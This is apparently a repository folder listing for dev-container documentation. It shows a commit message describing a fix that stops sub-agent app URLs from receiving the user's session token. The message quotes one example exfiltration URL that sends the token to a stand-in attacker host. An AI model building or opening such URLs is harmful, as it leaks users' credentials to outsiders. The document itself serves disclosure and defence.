Zach 9b550cbfe9 fix: prevent session token exfiltration via external app URLs (#26146) ...

`coder open app` substituted the user's session token into any external
workspace-app URL containing `$SESSION_TOKEN` before opening, letting a
malicious sub-agent exfiltrate the token via a URL like
`https://attacker.example/?t=$SESSION_TOKEN`.

Substitution is now restricted to URLs from top-level
(template-authored) agents. Sub-agent URLs that still contain
`$SESSION_TOKEN` are printed for the user to inspect and substitute
manually rather than opened automatically. Sub-agent URLs without the
placeholder are unaffected.

2026-06-11 09:58:16 -06:00

..

customizing-dev-containers.md

fix: prevent session token exfiltration via external app URLs (#26146)

2026-06-11 09:58:16 -06:00

index.md

docs: document new terraform-managed devcontainers (#21978)

2026-02-19 11:45:04 +00:00

troubleshooting-dev-containers.md

docs: rewrite dev containers documentation for GA (#21080)

2025-12-05 19:42:16 +02:00

working-with-dev-containers.md

docs: add dev container screenshots (#21191)

2025-12-09 18:08:58 +00:00